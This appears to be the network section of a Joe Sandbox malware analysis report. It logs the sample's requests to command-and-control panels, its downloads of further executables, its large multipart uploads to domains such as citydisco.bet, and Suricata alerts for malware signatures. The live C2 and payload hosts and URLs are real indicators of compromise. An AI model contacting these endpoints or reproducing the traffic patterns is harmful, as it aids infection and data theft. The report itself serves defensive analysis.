Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 31 32 33 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10191230101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/1482809150/st22BJg.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 31 34 37 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10191470101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/6003232782/EZs3CZC.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 31 34 39 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10191490101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/2043702969/dx3hXS1.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 32 37 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10192270101&unit=246122658369

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 176.113.115.7 176.113.115.7

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61660 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61662 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61663 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61664 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61665 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61666 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61669 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61671 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61670 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61673 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61674 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61678 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61682 -> 107.174.192.179:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61675 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61681 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61680 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61683 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61684 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61685 -> 104.26.9.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61686 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61689 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61692 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61690 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61688 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61693 -> 104.26.9.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61694 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61697 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61700 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 176.113.115.7:80 -> 192.168.2.6:61700
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61695 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61701 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61738 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61743 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:61748 -> 176.113.115.7:80

Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dXim718NJuT6SMnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14902Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4Ruvv4UdbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15053Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ngKn1v0V1WN04NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14909Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5nIDtjx9SaOt2Y9ERUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19950Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=oubL357TogCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=78D02Ob5Jen9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2283Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=wsHOjQ1NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19917Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VvU9RMbDhVby2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14894Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=N3HJ92r8FN27zHgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550817Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=hKI7L75vVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2272Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2lpsvTz6516BbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: GET /ZATFQO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: grabify.link
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=kzepD8AlkivMx7rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550920Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3iMRAMVd55NTPZ1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19942Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: GET /images/pixel.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: grabify.linkCookie: g_session=eyJpdiI6Imd4RnNzQlgxRStCUnVoUjI0YS9saGc9PSIsInZhbHVlIjoiMGUzUDRpc091V2EyV2luaG5EZ0JwQVNTV0g2c2lMV1EweG5meUlaMGRuNkIyVE5QNkZ1czBWZEI1TXpwelVlSVE0OVY1VnJvOFR4bitLUVlycjNHdUF0NStHdkVKM0l1UVBreFo1b0FpMFFCc3FsV0FkdGpmendCem50dzRFUm0iLCJtYWMiOiJjOTBhZDc1YmVhOWQwYTU0MjFiZjMwMjAxZTA1N2NhZmRkOTQxZGYxYmEyZjBmNTg3NzQyYjUyZWE0NWE2M2MyIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IjcvTzJKUC80dHFPOHJwMlJFb2x4cmc9PSIsInZhbHVlIjoibXNWdWxGWFpaellSd3V6VnRqNTF5bnEzSVJBMDg2MFZQZ3FYNWc0ZkJCTTQ3dXZoTW9kNGcvK2ZtOEpKSDBvNmVoejZscHJtS1F6Njgza092RVR1aDgxZEhlN1lEZzkvYmNiTktYZytOWXh6RTlKU3MxbzM5UXU4MHVpSXRvLzkiLCJtYWMiOiI4NWM4MDQ5ZDNkMDlmMWQyMDAxMzFkYzNmMjY4ODNmOGRhYmY0MDIwZWM3MWVhNDE3ODVmZTg4YTUyYzc5ZDkxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 99Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 59Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8HgZFfDr7e7bswa4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2299Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6AF9Qc4c82d1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14902Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7Ly8iXL11058p8R1SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552257Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=cFIIcTOTKWPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15073Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: jowinjoinery.icu
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=hrixXx0NVpBAw9pPFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19960Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=y4g0s8MnmC0Bdj8HKMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2339Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=07dRRHjr88Ea4NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551707Host: citydisco.bet
Source: global traffic	HTTP traffic detected: GET /data/003 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: GET /clean HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: HEAD /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-0User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=65536-81919User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=32768-49151User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=49152-65535User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=81920-98303User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=114688-131071User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-16383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=98304-114687User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=16384-32767User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=131072-163839User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=163840-196607User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=196608-229375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=229376-262143User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=262144-294911User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=294912-327679User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=327680-360447User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=360448-393215User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=393216-458751User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=458752-524287User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=524288-589823User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=589824-655359User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=655360-720895User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=720896-786431User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=786432-851967User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=851968-917503User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=917504-1048575User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1048576-1179647User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1179648-1310719User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1310720-1441791User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1441792-1572863User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1572864-1703935User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1703936-1835007User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1835008-1966079User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1966080-2228223User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2228224-2490367User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2490368-2752511User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2752512-3014655User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3014656-3276799User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
